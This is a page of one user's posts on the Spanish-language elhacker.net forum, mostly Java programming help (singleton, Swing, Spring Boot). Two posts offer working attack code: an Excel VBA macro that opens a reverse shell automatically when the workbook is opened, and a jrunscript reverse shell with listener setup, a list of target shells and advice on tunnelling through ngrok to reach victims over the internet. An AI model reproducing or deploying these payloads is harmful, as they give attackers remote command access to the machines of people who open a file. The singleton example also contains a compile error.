elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Los 10 CVE más críticos (peligrosos) de 2020


  Mostrar Mensajes
Páginas: 1 2 [3] 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ... 63
21  Programación / Java / Re: Problema al momento de crear metodo static en: 25 Febrero 2022, 15:30 pm
respuesta corta
cada clase debe hacer una sola cosa para lo cual fue designada y la debe hacer bien


es algo de lo que hay escuelas de pensamiento que estan en desacuerdo obiviamente mi escuela  esta en lo correcto y la otra los llamamos los equivocados

es solo seguir un orden si no sigues un orden es dificil programar cuando tengas un sistema muy complejo

la clase persona Persona solo debe ser responsable de manejar la logica de una sola persona
puede tener metodos como getNombreCompleto o getEdadEnAños

y la clase Lista solo puede tener metodos para manejar a un grupo de personas puede tener metodos como

ejecutaAumentoSalarioMasivo(CodigoSeccionAdministrativa codigoSeccion)
agrega(Persona persona)
modifica(Persona persona)
despidePersona(int codigoPersona)
22  Programación / Java / Re: Problema al momento de crear metodo static en: 24 Febrero 2022, 18:54 pm
hola que tal
mira

la regla basica es simple
cuando usas un metodo static solo lo puedes llamar desde otro metodo static

para solucionar la clase lista debe usar el patron singleton
Código
  1. public class Lista {
  2.  
  3.    List<Integer> listaP = new ArrayList<>();
  4. Lista instance;
  5.    private Lista(){}
  6.  
  7.  
  8. public static Lista instance(){
  9. if(instance==null){
  10. instance=new Lista();
  11. }
  12. return instance;
  13. }
  14.  
  15.    public  void agregar(int dni) {
  16.        listaP.add(dni);
  17.    }
  18.  
  19.  
  20.    public void eliminar(int dni) {
  21.        listaP.remove(dni);
  22.  
  23.    }
  24. }
  25.  

y para llamarlo usa

Código
  1. Lista milistita = Lista.instance();
  2.  


no recomiendo para nada que la clase persona use la clase lista XD
23  Programación / Java / Re: Error al ejecutar "web aplicación" en apache netbeans y apache-tomcat en: 13 Enero 2022, 08:20 am
solo usa spring boot

 https://www.youtube.com/watch?v=ZJ7afDSrb3s

y si tienes problemas con maven en netbeans usa eclipse


spring boot no requiere que instales y configures un servidor tomcat externo
24  Programación / Java / Re: activar menu del boton derecho del raton. en: 9 Enero 2022, 21:19 pm
????

me tomo menos de un minuto buscarlo en google

???

https://www.logicbig.com/tutorials/java-swing/text-cut-copy-paste-menu.html
25  Programación / Java / Re: activar menu del boton derecho del raton. en: 8 Enero 2022, 20:24 pm
XD
en javase
puedes trabajar en swing o fx

de que packete importas
de

javax.swing o
javafx
26  Programación / Java / Re: activar menu del boton derecho del raton. en: 7 Enero 2022, 19:07 pm
javafx o swing?
27  Seguridad Informática / Hacking / contribucion macro maliciosa en: 5 Enero 2022, 06:54 am
hola aqui les paso una macro muy malota

cambie el puerto y la ip a la del atacante y use tunel para que fucnione en wan

ejemplo para escuchar

Código
  1. nc -lvnp 9001


Código
  1. Private Sub Workbook_Open()
  2. Shell ("jrunscript -e ""main( 'localhost',9001,'cmd'); function main(host,port,cmd) { try { p = new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start(); s = new java.net.Socket(host, port); pi = p.getInputStream(); pe = p.getErrorStream(); si = s.getInputStream(); po = p.getOutputStream(); so = s.getOutputStream(); while (!s.isClosed()) { while (pi.available() > 0) so.write(pi.read()); while (pe.available() > 0) so.write(pe.read()); while (si.available() > 0) po.write(si.read()); so.flush(); po.flush(); java.lang.Thread.sleep(50); try { p.exitValue(); break; } catch ( e) { } } p.destroy(); s.close(); } catch ( e) {e.printStackTrace();} }"" ")
  3. End Sub
  4.  
28  Programación / Java / contribucion shell inversa en jrunscript en: 3 Enero 2022, 07:10 am
hola a qui les presento una shell inversa en jrunscript

 :xD :xD :xD :xD :xD





paso a explicar los comandos mas importantes recuerda el atacante y la victima tienen que usar el mismo puerto y estar dentro de la misma red si quieres atraves de wan tienes que usar un tunel XD

1 primer paso preparando el listener en el atacante en el puerto 9001
 

 

Código
  1. nc -lvnp 9001

2 modifica la primera linea del script para que use el ip del atacante y un puerto recuerda los puertos tienen que coincidir

 
Código
  1. main( "localhost",9001,"cmd");
  2.  
  3. function main(host,port,cmd) {
  4. try {
  5. p = new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start();
  6. s = new java.net.Socket(host, port);
  7. pi = p.getInputStream();
  8. pe = p.getErrorStream();
  9. si = s.getInputStream();
  10. po = p.getOutputStream();
  11. so = s.getOutputStream();
  12. while (!s.isClosed()) {
  13. while (pi.available() > 0)
  14. so.write(pi.read());
  15. while (pe.available() > 0)
  16. so.write(pe.read());
  17. while (si.available() > 0)
  18. po.write(si.read());
  19. so.flush();
  20. po.flush();
  21. java.lang.Thread.sleep(50);
  22. try {
  23. p.exitValue();
  24. break;
  25. } catch ( e) {/*e.printStackTrace();*/}
  26. }
  27. p.destroy();
  28. s.close();
  29. } catch ( e) {e.printStackTrace();}
  30. }
  31.  
  32.  
  33.  

3 ejecutar script shell.js en la victima usando el ip del atacante y cmd para los que odian al los pinwinos o

Código
  1. jrunscript shell.js

otras opciones dependiendo de el sistema operativo y las configuraciones puede funcionar alguno
 sh
 /bin/sh
 bash
 /bin/bash
 cmd
 powershell
 pwsh
 ash
 bsh
 csh
 ksh
 zsh
 pdksh
 tcsh


fuentes y herramientas

un builder de shell reversa online https://www.revshells.com/

y con ngrok te haces un tunel


29  Programación / Java / Re: Cambiar color JLabel en java en: 12 Diciembre 2021, 06:05 am
mmm estoy ocidado

 
Código
  1.  
  2. package swing.comboexample;
  3.  
  4. import java.util.logging.Logger;
  5.  
  6. import javax.swing.Action;
  7. import javax.swing.JComboBox;
  8. import javax.swing.JFrame;
  9. import java.awt.FlowLayout;
  10. import java.awt.Color;
  11.  
  12. import java.awt.event.ActionEvent;
  13. import java.beans.PropertyChangeListener;
  14.  
  15. import javax.swing.JLabel;
  16. import javax.swing.JOptionPane;
  17. import javax.swing.text.AttributeSet.ColorAttribute;
  18. public class HelloWorld extends JFrame{
  19.  
  20.    public static void main(String... args) {
  21. HelloWorld helloWorld = new HelloWorld();
  22. helloWorld.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
  23. JComboBox<String> cboColor = new JComboBox<String>();
  24. cboColor.addItem("rojo");
  25. cboColor.addItem("verde");
  26. cboColor.addItem("azul");
  27. JLabel lblPrincipal = new JLabel("hola");
  28. lblPrincipal.setOpaque(true);
  29. cboColor.addActionListener(p->{
  30. int index = cboColor.getSelectedIndex();
  31.  
  32. switch (index) {
  33. case 1:
  34. lblPrincipal.setBackground(Color.RED);
  35. break;
  36. case 2:
  37. lblPrincipal.setBackground(Color.GREEN  );
  38. break;
  39.  
  40. case 3:
  41. lblPrincipal.setBackground(Color.BLUE);
  42. break;
  43.  
  44. }
  45. } );
  46. helloWorld.getContentPane().setLayout( new FlowLayout() );
  47. helloWorld.getContentPane().add(cboColor);
  48.  
  49. helloWorld.getContentPane().add(lblPrincipal);
  50. helloWorld.setLocationRelativeTo(null);
  51. helloWorld.pack();
  52. helloWorld.setVisible(true);
  53. }
  54.  
  55.  
  56. }
  57.  
30  Programación / Java / Re: Clases online Java en: 18 Noviembre 2021, 00:10 am
caushita  la situacion es un poco dificil por que la gente de recursos humanos te van a pedir vachillerato o estar terminando la universidad lo cual en lo personal me parece una reverenda estupidez

tienes otra carrera? eso lo haria mas facil

cuantas horas quieres a la semana?

Páginas: 1 2 [3] 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ... 63
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines